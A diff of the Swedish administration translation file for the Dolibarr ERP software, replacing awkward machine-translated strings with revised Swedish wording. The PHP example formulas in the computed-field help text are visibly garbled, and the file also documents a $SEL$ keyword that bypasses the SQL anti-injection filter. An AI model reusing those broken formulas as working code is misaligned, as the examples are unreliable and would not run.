redigera filer i katalogen langs/%s och skicka ändrade filer på dolibarr.org/forum eller, om du är utvecklare, med en PR på github.com/Dolibarr/dolibarr +ModuleSetup=Modulinställningar +ModulesSetup=Inställningar för moduler/program ModuleFamilyBase=System ModuleFamilyCrm=Customer Relationship Management (CRM) ModuleFamilySrm=Vendor Relationship Management (VRM) -ModuleFamilyProducts=Produktledning (PM) +ModuleFamilyProducts=Product Management (PM) ModuleFamilyHr=Human Resource Management (HR) -ModuleFamilyProjects=Projekt / gemensamt arbete +ModuleFamilyProjects=Projekt/gemensamt arbete ModuleFamilyOther=Andra -ModuleFamilyTechnic=Multi-moduler verktyg -ModuleFamilyExperimental=Experimentell moduler -ModuleFamilyFinancial=Finansiella Moduler (Redovisning / Treasury) -ModuleFamilyECM=ECM -ModuleFamilyPortal=Webbplatser och annan frontal applikation +ModuleFamilyTechnic=Verktyg för flera moduler +ModuleFamilyExperimental=Experimentella moduler +ModuleFamilyFinancial=Finansiella Moduler (redovisning/bokföring) +ModuleFamilyECM=Electronic Content Management (ECM) +ModuleFamilyPortal=Webbplatser och andra frontapplikationer ModuleFamilyInterface=Gränssnitt med externa system -MenuHandlers=Meny hanterar -MenuAdmin=Menu Editor -DoNotUseInProduction=Använd inte i poroduktion -ThisIsProcessToFollow=Uppgraderingsprocedur: -ThisIsAlternativeProcessToFollow=Det här är en alternativ inställning som ska behandlas manuellt: +MenuHandlers=Menyhanterare +MenuAdmin=Menuredigerare +DoNotUseInProduction=Använd inte i produktion +ThisIsProcessToFollow=Procedur för uppgradering: +ThisIsAlternativeProcessToFollow=Detta är en alternativ inställning som ska hanteras manuellt: StepNb=Steg %s FindPackageFromWebSite=Hitta ett paket som innehåller de funktioner du behöver (till exempel på den officiella webbplatsen %s). DownloadPackageFromWebSite=Ladda ner paketet (till exempel från den officiella hemsidan %s). -UnpackPackageInDolibarrRoot=Packa upp / packa upp de förpackade filerna i din Dolibarr-serverns katalog: %s -UnpackPackageInModulesRoot=To deploy/install an external module, you must unpack/unzip the archive file into the server directory dedicated to external modules:
      %s -SetupIsReadyForUse=Modulutbyggnad är klar. Du måste dock aktivera och konfigurera modulen i din applikation genom att gå till modulerna för inställning av sidor: %s . -NotExistsDirect=Den alternativa rotkatalogen är inte definierad till en befintlig katalog.
      -InfDirAlt=Sedan version 3 är det möjligt att definiera en alternativ rotkatalog. Detta gör att du kan lagra, till en dedikerad katalog, plugin-moduler och anpassade mallar.
      Skapa bara en katalog i roten till Dolibarr (t ex: anpassad).
      -InfDirExample= 
      Angiv sedan det i filen conf.php
      $ dolibarr_main_url_root_alt = '/ anpassad'
      $ dolibarr_main_document_root_alt = '/ path / of / dolibarr / htdocs / anpassad'
      Om dessa rader kommenteras med "#" , bara uncomment genom att ta bort "#" tecknet. -YouCanSubmitFile=Du kan ladda upp .zip-filen för modulpaketet härifrån: -CurrentVersion=Dolibarr nuvarande version -CallUpdatePage=Bläddra till den sida som uppdaterar databasstrukturen och data: %s. -LastStableVersion=Senaste stabila versionen +UnpackPackageInDolibarrRoot=Packa upp filerna i din Dolibarr-installations katalog: %s +UnpackPackageInModulesRoot=För att installera en extern modul måste du packa upp arkivfilen i installationsmappen dedikerad för externa moduler:
      %s +SetupIsReadyForUse=Modulen är installerad. Du måste dock aktivera och konfigurera modulen i din applikation: %s . +NotExistsDirect=Den alternativa rotkatalogen är inte angiven till en existerande katalog.
      +InfDirAlt=Sedan version 3 är det möjligt att ange en alternativ rotkatalog. Detta gör att du kan lagra, i den dedikerade katalogen, moduler och anpassade mallar.
      Skapa bara en katalog i roten till Dolibarr (t ex: anpassningar).
      +InfDirExample=
      Ange det sedan i filen conf.php
      $dolibarr_main_url_root_alt = '/anpassningar'
      $dolibarr_main_document_root_alt = '/path/of/dolibarr/htdocs/anpassningar'
      Om dessa rader är kommenterade med "#" återaktiverar du raden genom att ta bort #-tecknet. +YouCanSubmitFile=Du kan ladda upp .zip-filen för modulen härifrån: +CurrentVersion=Dolibarrs nuvarande version +CallUpdatePage=Gå till den sida som uppdaterar databasstrukturen och data: %s. +LastStableVersion=Senast stabila version LastActivationDate=Senaste aktiveringsdatum -LastActivationAuthor=Senaste aktiveringsförfattaren +LastActivationAuthor=Senaste aktivering användare LastActivationIP=Senaste aktivering IP -LastActivationVersion=Latest activation version +LastActivationVersion=Senaste aktivering version UpdateServerOffline=Uppdatera server offline WithCounter=Hantera en räknare -GenericMaskCodes=Du kan ange valfri numreringsmask. I den här masken kan följande taggar användas:
      {000000} motsvarar ett nummer som kommer att ökas på varje %s. Ange så många nollor som önskad längd på räknaren. Räknaren kompletteras med nollor från vänster för att ha lika många nollor som masken.
      {000000+000} samma som den föregående men en förskjutning som motsvarar numret till höger om + -tecknet tillämpas med början på den första %s.
      {000000@x} samma som föregående men räknaren återställs till noll när månad x nås (x mellan 1 och 12, eller 0 för att använda de första månaderna av räkenskapsåret som definierats i din konfiguration, eller 99 till återställs till noll varje månad). Om detta alternativ används och x är 2 eller högre krävs också sekvensen {åå} {mm} eller {åååå} {mm}.
      {dd} dag (01 till 31).
      {mm} månad (01 till 12).
      {yy} , {yyyy} eller {y} år över 2,4 eller 1 nummer.
      -GenericMaskCodes2= {cccc} klientkoden på n tecken
      {cccc000} kunden är kundens kund. Denna räknare dedikerad till kunden återställs samtidigt som den globala räknaren.
      {tttt} Koden för tredje parts typ på n tecken (se menyn Hem - Inställningar - Ordbok - Typer av tredje part). Om du lägger till den här taggen kommer räknaren att vara annorlunda för varje typ av tredje part.
      -GenericMaskCodes3=Alla andra tecken i masken förblir intakt.
      Blanksteg är inte tillåtna.
      -GenericMaskCodes3EAN=Alla andra tecken i masken förblir intakta (utom * eller? I 13: e position i EAN13).
      Utrymmen är inte tillåtna.
      I EAN13 ska det sista tecknet efter det sista} i 13: e position vara * eller? . Den kommer att ersättas av den beräknade nyckeln.
      -GenericMaskCodes4a=  Exempel på 99: e %s från tredje part TheCompany, med datum 2007-01-31:
      -GenericMaskCodes4b=Exempel på tredje part som har skapats på 2007/03/01:
      -GenericMaskCodes4c=Exempel på artikel skapad 2007-03-01:
      -GenericMaskCodes5=  ABC {yy} {mm} - {000 tusen} kommer att ge ABC0701-000099
      {0000 + 100 @ 1} -ZZZ / {dd} / XXX ger 0199-ZZZ / 31 / XXX
      IN {yy} {mm} - {0000} - {t} ger IN0701-0099-A om typen av företag är "Responsable Inscripto" med kod för typ som är "A_RI" -GenericNumRefModelDesc=Avkastningen en anpassningsbar nummer enligt en fastställd mask. +GenericMaskCodes=Du kan ange valfri numreringsmask. I den här masken kan följande taggar användas:
      {000000} motsvarar ett nummer som kommer att ökas på varje %s. Ange så många nollor som önskad längd på räknaren. Räknaren kompletteras med nollor från vänster för att ha lika många nollor som masken.
      {000000+000} ger samma som föregående men med en förskjutning som motsvarar numret till höger om + -tecknet och tillämpas med början på den första %s.
      {000000@x} samma som föregående men räknaren återställs till noll när månad x nås (x mellan 1 och 12, eller 0 för att använda de första månaderna av räkenskapsåret som anges i din konfiguration, eller 99 till återställs till noll varje månad). Om detta alternativ används och x är 2 eller högre krävs också sekvensen {yy} {mm} eller {yyyy} {mm}.
      {dd} dag (01 till 31).
      {mm} månad (01 till 12).
      {yy}, {yyyy} eller {y} år med 2, 4 respektive 1 nummer.
      +GenericMaskCodes2={cccc} klientkoden med n tecken
      {cccc000} är kundnummer med löpnummer dedikerat kunden. Denna räknare återställs samtidigt som den globala räknaren.
      {tttt} Koden för varje tredjeparts typ med n tecken (se menyn Hem - Inställningar - Ordbok - Typer av tredjepart). Om du lägger till den här taggen kommer räknaren att vara annorlunda för varje typ av tredjepart.
      +GenericMaskCodes3=Alla andra tecken i masken förblir intakt.
      Mellanslag är inte tillåtna.
      +GenericMaskCodes3EAN=Alla andra tecken i masken förblir intakta (utom * eller ? i 13:e position i EAN13).
      Mellanslag är inte tillåtna.
      I EAN13 ska det sista tecknet efter det sista} i 13:e position vara * eller ?. Den kommer att ersättas av den beräknade nyckeln.
      +GenericMaskCodes4a=Exempel på 99:e %s från tredjeparten StorFöretaget, med datum 2007-01-31:
      +GenericMaskCodes4b=Exempel på tredjepart som har skapats på 2007-03-01:
      +GenericMaskCodes4c=Exempel på produkt skapad 2007-03-01:
      +GenericMaskCodes5=ABC{yy}{mm}-{000000} kommer att resultera i ABC0701-000099
      {0000+100@1}-ZZZ/{dd}/XXX ger 0199-ZZZ/31/XXX
      IN{yy}{mm}-{0000}-{t} ger IN0701-0099-A om typen av företag är "Responsable Inscripto" med kod för typ som är "A_RI" +GenericNumRefModelDesc=Ger en anpassningsbar nummerserie enligt en fastställd mask. ServerAvailableOnIPOrPort=Server finns på adressen %s på port %s -ServerNotAvailableOnIPOrPort=Servern är inte tillgänglig på adress %s på port %s -DoTestServerAvailability=Test serveranslutning +ServerNotAvailableOnIPOrPort=Servern är inte tillgänglig på adresseb %s på port %s +DoTestServerAvailability=Testa serveranslutning DoTestSend=Testa att skicka DoTestSendHTML=Testa att skicka HTML -ErrorCantUseRazIfNoYearInMask=Fel, kan inte använda alternativet @ för att återställa räknaren varje år om sekvens {åå} eller {yyyy} inte är i mask. -ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Fel, kan inte använda alternativet @ om sekvensen (yy) (mm) eller (ÅÅÅÅ) (mm) inte är i mask. -UMask=Umask parameter för nya filer på Unix / Linux / BSD-filsystemet. -UMaskExplanation=Denna parameter gör att du kan definiera behörigheter som standard på filer skapade av Dolibarr på servern (under upp till exempel).
      Det måste vara det oktala värdet (till exempel 0666 innebär läsa och skriva för alla).
      Denna parameter är meningslöst på en Windows server. +ErrorCantUseRazIfNoYearInMask=Fel! Kan inte använda alternativet @ för att återställa räknaren varje år om sekvensen {yy} eller {yyyy} inte finns i masken. +ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Fel! Kan inte använda alternativet @ om sekvensen (yy)(mm) eller (yyyy)(mm) inte finns i masken. +UMask=UMask-parameter för nya filer på Unix/Linux/BSD-filsystem. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Ta en titt på Wiki-sidan för en lista över bidragsgivare och deras organisation -UseACacheDelay= Fördröjning för caching export svar i sekunder (0 eller tomt för ingen cache) -DisableLinkToHelpCenter=Dölj länken "Behöver du hjälp eller support" på inloggningssidan -DisableLinkToHelp=Dölj länken för online-hjälp "%s" -AddCRIfTooLong=Det finns ingen automatisk textförpackning, texten som är för lång kommer inte att visas på dokument. Vänligen lägg till vagnreturer i textområdet om det behövs. -ConfirmPurge=Är du säker på att du vill utföra denna utrensning?
      Detta kommer permanent radera alla dina datafiler på något sätt för att återställa dem (ECM-filer, bifogade filer ...). +UseACacheDelay= Fördröjning för cache-exportsvar i sekunder (0 eller tomt för ingen cache) +DisableLinkToHelpCenter=Dölj länken Behöver du hjälp eller support på inloggningssidan +DisableLinkToHelp=Dölj länken för onlinehjälp %s +AddCRIfTooLong=Det finns ingen automatisk radbrytning för text. Text som är för lång kommer inte att visas på dokument. Lägg till radmatning i textområdet om det behövs. +ConfirmPurge=Är du säker på att du vill utföra denna rensning?
      Detta kommer permanent radera alla dina datafiler utan något sätt att återställa dem (ECM-filer, bifogade filer ...). MinLength=Minsta längd -LanguageFilesCachedIntoShmopSharedMemory=Filer. Lang lastas i det delade minnet +LanguageFilesCachedIntoShmopSharedMemory=.lang-filer laddas i det delade minnet LanguageFile=Språkfil ExamplesWithCurrentSetup=Exempel med nuvarande konfiguration -ListOfDirectories=Förteckning över OpenDocument mallar kataloger -ListOfDirectoriesForModelGenODT=Lista över kataloger som innehåller mallfiler med OpenDocument-format.

      Sätt här hela sökvägen till kataloger.
      Lägg till en vagnretur mellan eah-katalogen.
      För att lägga till en katalog över GED-modulen, lägg till här DOL_DATA_ROOT / ecm / ditt katalognamn .

      Filer i katalogerna måste sluta med .odt eller .ods . -NumberOfModelFilesFound=Antal ODT / ODS-mallfiler som finns i dessa kataloger -ExampleOfDirectoriesForModelGen=Exempel på syntax:
      c: \\ myapp \\ mydocumentdir \\ mysubdir
      / home / myapp / mydocumentdir / mysubdir
      DOL_DATA_ROOT / ecm / ecmdir -FollowingSubstitutionKeysCanBeUsed=
      Att veta hur du skapar dina odT dokumentmallar, innan du förvarar dem i dessa kataloger, läs wiki dokumentation: +ListOfDirectories=Lista över OpenDocument mallkatalog +ListOfDirectoriesForModelGenODT=Lista över kataloger som innehåller mallfiler i OpenDocument-format.

      Ange hela sökvägen till kataloger.
      Lägg till en radmatning mellan eah-kataloger.
      För att lägga till en katalog för GED-modulen gör du det härDOL_DATA_ROOT/ecm/dittkatalognamn.

      Filer i dessa kataloger måste sluta med .odt eller .ods. +NumberOfModelFilesFound=Antal ODT/ODS-mallfiler som finns i dessa kataloger +ExampleOfDirectoriesForModelGen=Exempel på syntax:
      c: \\myapp\\mydocumentdir\\mysubdir
      /home/myapp/mydocumentdir/mysubdir
      DOL_DATA_ROOT/ecm/ecmdir +FollowingSubstitutionKeysCanBeUsed=
      För att lära dig hur du skapar odt-mallar, innan du sparar dem i dessa kataloger, läs wiki-dokumentation: FullListOnOnlineDocumentation=http://wiki.dolibarr.org/index.php/Create_an_ODT_document_template -FirstnameNamePosition=Ståndpunkt av förnamn / namn -DescWeather=Följande bilder visas på instrumentpanelen när antalet sena åtgärder når följande värden: -KeyForWebServicesAccess=För att kunna använda Web Services (parameter "dolibarrkey" i WebServices) -TestSubmitForm=Ingång Testformuläret -ThisForceAlsoTheme=Användning av denna menychef kommer också att använda sitt eget tema oavsett användarvalet. Även denna menyfunktion som är specialiserad för smartphones fungerar inte på alla smartphones. Använd en annan menychef om du har problem med din. -ThemeDir=Skins katalogen -ConnectionTimeout=Anslutningstidsavbrott -ResponseTimeout=Respons tidsutlösning +FirstnameNamePosition=Position för förnamn/efternamn +DescWeather=Följande bilder visas på kontrollpanelen när antalet sena åtgärder når följande värden: +KeyForWebServicesAccess=Nyckel för att använda Web Services (parameter "dolibarrkey" i WebServices) +TestSubmitForm=Inmatning testformulär +ThisForceAlsoTheme=Denna menyredigerare kommer att använda sitt eget tema oavsett användarvalet. Även om menyredigeraren är anpassad för mobila enheter så fungerar den tyvärr inte på alla. Använd en annan menyredigerare om du har problem. +ThemeDir=Skins-katalogen +ConnectionTimeout=Anslutning timeout +ResponseTimeout=Svar timeout SmsTestMessage=Testmeddelande från __ PHONEFROM__ till __ PHONETO__ -ModuleMustBeEnabledFirst=Modul %s måste aktiveras först om du behöver den här funktionen. -SecurityToken=Nyckeln till säkra webbadresser -NoSmsEngine=Ingen SMS-avsändare finns tillgänglig. En SMS-avsändarhanterare är inte installerad med standarddistributionen eftersom de är beroende av en extern leverantör, men du kan hitta några på %s +ModuleMustBeEnabledFirst=Modulen %s måste aktiveras först om du behöver den här funktionen. +SecurityToken=Nyckeln för säkra webbadresser +NoSmsEngine=Ingen SMS-avsändare finns tillgänglig. En hanterare för SMS-avsändare är inte installerad eftersom de är beroende av en extern leverantör, men du kan hitta några på %s PDF=PDF PDFDesc=Globala alternativ för PDF-generation -PDFOtherDesc=PDF-alternativ som är specifikt för vissa moduler -PDFAddressForging=Regler för adressavsnitt -HideAnyVATInformationOnPDF=Dölj all information om försäljningsskatt / moms -PDFRulesForSalesTax=Regler för försäljningsskatt / moms +PDFOtherDesc=PDF-alternativ som är specifika för vissa moduler +PDFAddressForging=Regler för adress-blocket +HideAnyVATInformationOnPDF=Dölj all information om moms +PDFRulesForSalesTax=Regler för moms PDFLocaltax=Regler för %s -HideLocalTaxOnPDF=Dölj %s i kolumn Försäljningsskatt / moms +HideLocalTaxOnPDF=Dölj %s i kolumnen moms HideDescOnPDF=Dölj produktbeskrivning -HideRefOnPDF=Dölj produkter ref. -HideDetailsOnPDF=Dölj produktlinjer detaljer -PlaceCustomerAddressToIsoLocation=Använd fransk standardposition (La Poste) för kundadressposition +HideRefOnPDF=Dölj produktref. +HideDetailsOnPDF=Dölj produktraden beskrivning +PlaceCustomerAddressToIsoLocation=Använd fransk standardposition (La Poste) för position av kundadress Library=Bibliotek -UrlGenerationParameters=Parametrar för att säkra webbadresser -SecurityTokenIsUnique=Använd en unik securekey parameter för varje webbadress -EnterRefToBuildUrl=Ange referens för objekt %s -GetSecuredUrl=Få beräknat URL +UrlGenerationParameters=Parametrar för säkra webbadresser +SecurityTokenIsUnique=Använd en unik securekey-parameter för varje webbadress +EnterRefToBuildUrl=Ange referens för objektet %s +GetSecuredUrl=Få beräknad URL ButtonHideUnauthorized=Dölj obehöriga åtgärdsknappar också för interna användare (bara gråtonad annars) OldVATRates=Gammal momssats NewVATRates=Ny momssats -PriceBaseTypeToChange=Ändra om priser med bas referensvärde som definieras på -MassConvert=Starta masskonvertering +PriceBaseTypeToChange=Ändra om priser med basreferensvärde definieras på +MassConvert=Starta bulkkonvertering PriceFormatInCurrentLanguage=Prisformat på nuvarande språk -String=String +String=Sträng String1Line=Sträng (1 rad) TextLong=Lång text TextLongNLines=Lång text (n rader) HtmlText=Html-text Int=Heltal -Float=Flyttal +Float=Float DateAndTime=Datum och timme Unique=Unik -Boolean=Booleska (en kryssruta) +Boolean=Boolsk (en kryssruta) ExtrafieldPhone = Telefon ExtrafieldPrice = Pris -ExtrafieldMail = epost -ExtrafieldUrl = Url -ExtrafieldSelect = Välj lista +ExtrafieldPriceWithCurrency=Pris med valuta +ExtrafieldMail = E-post +ExtrafieldUrl = URL +ExtrafieldIP = IP +ExtrafieldSelect = Väljlista ExtrafieldSelectList = Välj från tabell ExtrafieldSeparator=Separator (inte ett fält) ExtrafieldPassword=Lösenord ExtrafieldRadio=Radioknappar (endast ett val) ExtrafieldCheckBox=Kryssrutor -ExtrafieldCheckBoxFromList=Kryssrutor från bordet +ExtrafieldCheckBoxFromList=Kryssrutor från tabell ExtrafieldLink=Länk till ett objekt ComputedFormula=Beräknat fält -ComputedFormulaDesc=Du kan ange här en formel som använder andra objektegenskaper eller någon PHP-kodning för att få ett dynamiskt beräknat värde. Du kan använda alla PHP-kompatibla formler inklusive "?" tillståndsoperatör och följande globala objekt: $ db, $ conf, $ langs, $ mysoc, $ user, $ object .
      VARNING : Endast vissa egenskaper för $ objekt kan vara tillgängliga. Om du behöver egenskaper som inte har laddats, hämtar du bara objektet till din formel som i det andra exemplet.
      Att använda ett beräknat fält betyder att du inte kan ange något värde från gränssnittet. Om det finns ett syntaxfel kan formeln kanske inte returnera något.

      Exempel på formel:
      $ object-> id < 10 ? round($object-> id / 2, 2): ($ object-> id + 2 * $ user-> id) * (int) substr ($ mysoc-> zip, 1, 2 )

      Exempel på att ladda om objekt
      (($ reloadedobj = new Societe ($ db)) && ($ reloadedobj-> fetchNoCompute ($ obj-> id? $ obj-> id: ($ obj-> rad) > rowid: $ object-> id))> 0))? $ reloadedobj-> array_options ['options_extrafieldkey'] * $ reloadedobj-> capital / 5: '-1'

      Annat exempel på formel för att tvinga objektets belastning och dess överordnade objekt:
      (($ reloadedob = )) && ($ reloadedobj-> fetchNoCompute ($ object-> id)> 0) && ($ secondloadedobj = new Project ($ db)) && ($ secondloadedobj-> fetchNoCompute ($ reloadedobj-> fk_project)> 0))? $ secondloadedobj-> ref: 'Föräldraprojekt hittades inte' +ComputedFormulaDesc=Du kan här ange en formel med hjälp av andra egenskaper hos objektet eller någon PHP-kodning för att få ett dynamiskt beräknat värde. Du kan använda alla PHP-kompatibla formler inklusive "?" condition operator och följande globala objekt: $db, $conf, $langs, $mysoc, $user, $objectoffield .
      VARNING : Om du behöver egenskaper för ett objekt som inte är laddat, hämta bara objektet till din formel som i det andra exemplet.
      Att använda ett beräknat fält innebär att du inte kan ange något värde från gränssnittet. Dessutom, om det finns ett syntaxfel kan formeln inte returnera något.

      Exempel på formel:
      $objectoffield->id < 10 ? round($objectoffield-> id / 2, 2): ($objectoffield->id + 2 * $user-> sub, 2, 2, 2 * $ (int)-> sub )

      Exempel på att ladda om objektet
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffields_do) *' >loadedobjettions_exemplar-> id-> $arbjreoptionsfältet->id) ->capital / 5: '-1')

      Annat exempel på formel för att tvinga fram laddning av objekt och dess överordnade objekt:
      (($reloadedobj = new Task($db)) && ($reload($reload) ->id) > 0) && ($secondloadedobj = new project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Föräldraprojekt hittades inte' Computedpersistent=Lagra beräknat fält -ComputedpersistentDesc=Beräknade extra fält kommer att lagras i databasen, men värdet beräknas bara om objektet för detta fält ändras. Om det beräknade fältet beror på andra objekt eller globala data kan detta värde vara fel !! -ExtrafieldParamHelpPassword=Om du lämnar fältet tomt betyder det att detta värde kommer att sparas utan kryptering (fältet måste bara döljas med stjärnan på skärmen).
      Ange 'auto' för att använda standardkrypteringsregeln för att spara lösenord i databasen (då är läsningsvärde endast ett hash, inget sätt att hämta originalvärdet) -ExtrafieldParamHelpselect=Förteckning över värden måste vara linjer med formatnyckel, värde (där nyckel inte kan vara '0')

      till exempel:
      1, värde1
      2, värde2
      code3, värde3
      ...

      För att få lista beroende på en annan komplementär attributlista:
      1, värde1 | options_ parent_list_code : parent_key
      2, value2 | options_ parent_list_code : parent_key

      För att få listan beroende på en annan lista:
      1, värde1 | parent_list_code : parent_key
      2, värde2 | parent_list_code : parent_key -ExtrafieldParamHelpcheckbox=Lista över värden måste vara rader med formatnyckel, värde (där nyckel inte kan vara '0')

      till exempel:
      1, värde1
      2, värde2
      3, värde3
      ... -ExtrafieldParamHelpradio=Lista över värden måste vara rader med formatnyckel, värde (där nyckel inte kan vara '0')

      till exempel:
      1, värde1
      2, värde2
      3, värde3
      ... -ExtrafieldParamHelpsellist=List of values comes from a table
      Syntax: table_name:label_field:id_field::filtersql
      Example: c_typent:libelle:id::filtersql

      - id_field is necessarly a primary int key
      - filtersql is a SQL condition. It can be a simple test (eg active=1) to display only active value
      You can also use $ID$ in filter which is the current id of current object
      To use a SELECT into the filter use the keyword $SEL$ to bypass anti-injection protection.
      if you want to filter on extrafields use syntax extra.fieldcode=... (where field code is the code of extrafield)

      In order to have the list depending on another complementary attribute list:
      c_typent:libelle:id:options_parent_list_code|parent_column:filter

      In order to have the list depending on another list:
      c_typent:libelle:id:parent_list_code|parent_column:filter -ExtrafieldParamHelpchkbxlst=Värdelista kommer från en tabell
      Syntax: tabellnamn: label_field: id_field :: filtersql
      Exempel: c_typent: libelle: id :: filtersql

      filter kan bara vara ett aktivt test2 (t.ex. kan också använda $ ID $ i filterhäxan är det aktuella idet för det aktuella objektet
      Om du vill göra en SELECT i filter använder du $ SEL $
      om du vill filtrera på extrafält använder syntax extra.fieldcode = ... (där fältkoden är uppförande extrafield)

      för att få listan beroende på en annan kompletterande attributlista:
      c_typent: libelle: id: options_ parent_list_code | parent_column: filter

      för att få listan beroende på en annan lista:
      c_typent: libelle: id: parent_list_code | parent_column: filter -ExtrafieldParamHelplink=Parametrar måste vara ObjectName: Classpath
      Syntax: ObjectName: Classpath -ExtrafieldParamHelpSeparator=Håll tomt för en enkel separator
      Ställ in detta på 1 för en kollapsande separator (öppna som standard för en ny session, sedan behålls status för varje användarsession)
      Ställ detta till 2 för en kollapsande separator (kollapsad som standard för ny session, sedan status hålls före varje användarsession) +ComputedpersistentDesc=Beräknade extrafält kommer att lagras i databasen, men värdet beräknas bara om objektet för detta fält ändras. Om det beräknade fältet beror på andra objekt eller globala data kan detta värde vara fel!! +ExtrafieldParamHelpPassword=Om du lämnar fältet tomt betyder det att detta värde kommer att sparas utan kryptering (fältet döljas bara med stjärnor på skärmen).
      Ange 'auto' för att använda standardregel för kryptering för att spara lösenord i databasen (då är läsningsvärde endast en hash och det finns inget sätt att hämta originalvärdet) +ExtrafieldParamHelpselect=Lista över värden måste vara rader med formatet nyckel,värde (där nyckel inte kan vara '0')

      till exempel:
      1,värde1
      2,värde2
      code3,värde3
      ...

      För att få listan beroende av andra komplementära attribut:
      1,värde1|options_ parent_list_code:parent_key
      2,value2|options_parent_list_code:parent_key

      För att få listan beroende av en annan lista:
      1,värde1|parent_list_code:parent_key
      2,värde2|parent_list_code:parent_key +ExtrafieldParamHelpcheckbox=Lista över värden måste vara rader med formatet nyckel,värde (där nyckel inte kan vara '0')

      till exempel:
      1,värde1
      2,värde2
      3,värde3
      ... +ExtrafieldParamHelpradio=Lista över värden måste vara rader med formatet nyckel,värde (där nyckel inte kan vara '0')

      till exempel:
      1,värde1
      2,värde2
      3,värde3
      ... +ExtrafieldParamHelpsellist=Listan med värden kommer från en tabell
      Syntax: tabellnamn:etikettfält:idfält::filtersql
      Exempel: c_typent:libelle:id::filtersql

      - id_field krävs som en primär nyckel
      - filtersql är ett SQL-villkor. Det kan enkelt testas (t.ex. active=1) för att visa endast aktiva värden
      Du kan också använda $ID$ i filter, som är aktuellt ID för aktuellt objekt.
      För att använda SELECT i ett filter använder du $SEL$ för att åsidosätta anti-inject--skyddet.
      Om du vill filtrera på extrafält använder du syntax extra.fieldcode=... (där fältkoden är koden för extrafältet)

      För att ha listan beroende av andra komplementära attribut:
      c_typent:libelle:id:options_parent_list_code|parent_column:filter

      För att ha listan beroende av en annan lista:
      c_typent:libelle:id:parent_list_code|parent_column:filter +ExtrafieldParamHelpchkbxlst=Listan med värden kommer från en tabell
      Syntax: table_name:label_field:id_field::filtersql
      Exempel: c_typent:libelle:id::filtersql

      filter kan vara ett enkelt test (t.ex. active=1) för att visa endast aktiva värden
      Du kan också använda $ID$ i filter som är aktuellt ID för aktuellt objekt
      För att göra en SELECT i filter använder du $SEL$
      om du vill filtrera på extrafält använder du syntax extra.fieldcode= ... (där fältkoden är koden för extrafältet)

      För att listan skall vara beroende av komplementära attribut:
      c_typent:libelle:id:options_parent_list_code|parent_column:filter

      För att få listan beroende av en annan lista:
      c_typent:libelle:id:parent_list_code|parent_column:filter +ExtrafieldParamHelplink=Parametrar måste vara ObjectName:Classpath
      Syntax: ObjectName:Classpath +ExtrafieldParamHelpSeparator=Håll tomt för en enkel separator
      Ange detta till 1 för en kollapsande separator (öppnas som standard för en ny session, sedan behålls status för varje användarsession)
      Ange detta till 2 för en kollapsande separator (kollapsad som standard för ny session, sedan status hålls för varje användarsession) LibraryToBuildPDF=Bibliotek som används för PDF-generering -LocalTaxDesc=Vissa länder kan ansöka om två eller tre skatter på varje faktura. Om så är fallet, välj typ för andra och tredje skatt och dess skattesats. Möjlig typ är:
      1: Lokal skatt gäller för produkter och tjänster utan moms (localtax beräknas på belopp utan skatt)
      2: Lokal skatt gäller för produkter och tjänster inklusive moms (lokal skatt beräknas på belopp + huvudskatt)
      3: lokal skatt tillämpas på varor utan moms (lokal skatt beräknas på belopp utan skatt)
      4: Lokal skatt gäller för produkter inklusive moms (lokal skatt beräknas på belopp + huvudskatt)
      5: Lokal skatt gäller för tjänster utan moms (lokal skatt beräknas på belopp utan skatt)
      6: Lokal skatt gäller för tjänster inklusive moms (lokal skatt beräknas på belopp + skatt) +LocalTaxDesc=Vissa länder kan använda två eller tre momssatser på varje fakturarad. Om så är fallet, ange typ för andra och tredje moms, och dess momssats. Möjlig typ är:
      1: Lokal moms för produkter och tjänster utan moms (lokal moms beräknas på belopp utan skatt)
      2: Lokal moms gäller för produkter och tjänster inklusive moms (lokal moms beräknas på belopp + huvudmoms)
      3: Lokal moms tillämpas på varor utan moms (lokal moms beräknas på belopp utan skatt)
      4: Lokal moms gäller för produkter inklusive moms (lokal moms beräknas på belopp + huvudmoms)
      5: Lokal moms gäller för tjänster utan moms (lokal moms beräknas på belopp utan moms)
      6: Lokal moms gäller för tjänster inklusive moms (lokal moms beräknas på belopp + moms) SMS=SMS -LinkToTestClickToDial=Skriv in ett telefonnummer att ringa upp för att visa en länk för att prova ClickToDial url för användare %s +LinkToTestClickToDial=Ange ett telefonnummer att ringa upp för att visa en länk för att prova ClickToDial url för användare %s RefreshPhoneLink=Uppdatera länk -LinkToTest=Väljbar länk genererad för användare %s (klicka på tfn-nummer för att prova) +LinkToTest=Klickbar länk genererad för användare %s (klicka på telefonnummer för att testa) KeepEmptyToUseDefault=Lämna tom för standardvärde -KeepThisEmptyInMostCases=I de flesta fall kan du behålla detta fält. +KeepThisEmptyInMostCases=I de flesta fall kan du lämna detta fält tomt. DefaultLink=Standardlänk SetAsDefault=Ange som standard -ValueOverwrittenByUserSetup=Varning, kan detta värde skrivas över av användarspecifik installation (varje användare kan ställa in sin egen clicktodial url) +ValueOverwrittenByUserSetup=Varning, detta värde kan skrivas över av användarspecifik inställning (varje användare kan ange sin egen clicktodial url) ExternalModule=Extern modul InstalledInto=Installerad i katalogen %s -BarcodeInitForThirdparties=Mass streckkod init för tredje part -BarcodeInitForProductsOrServices=Mass streckkod init eller återställning efter produkter eller tjänster -CurrentlyNWithoutBarCode=För närvarande har du %s rader på %s %s utan steckkod angett. -InitEmptyBarCode=Init value for the %s empty barcodes +BarcodeInitForThirdparties=Initiera bulkstreckkod för tredjepart +BarcodeInitForProductsOrServices=Initiering av bulkstreckkod eller återställning för produkter eller tjänster +CurrentlyNWithoutBarCode=För närvarande har du %s poster på %s %s utan steckkod angiven. +InitEmptyBarCode=Initvärde för %s tomma streckkoder EraseAllCurrentBarCode=Radera alla nuvarande streckkoder -ConfirmEraseAllCurrentBarCode=Är du säker på att du vill radera alla nuvarande streckkodsvärden? -AllBarcodeReset=Alla värden för streckkod har raderats -NoBarcodeNumberingTemplateDefined=Ingen numrerande streckkodsmall aktiverad i streckkodsmodulens inställning. +ConfirmEraseAllCurrentBarCode=Är du säker på att du vill radera alla nuvarande streckkoder? +AllBarcodeReset=Alla värden för streckkoder har 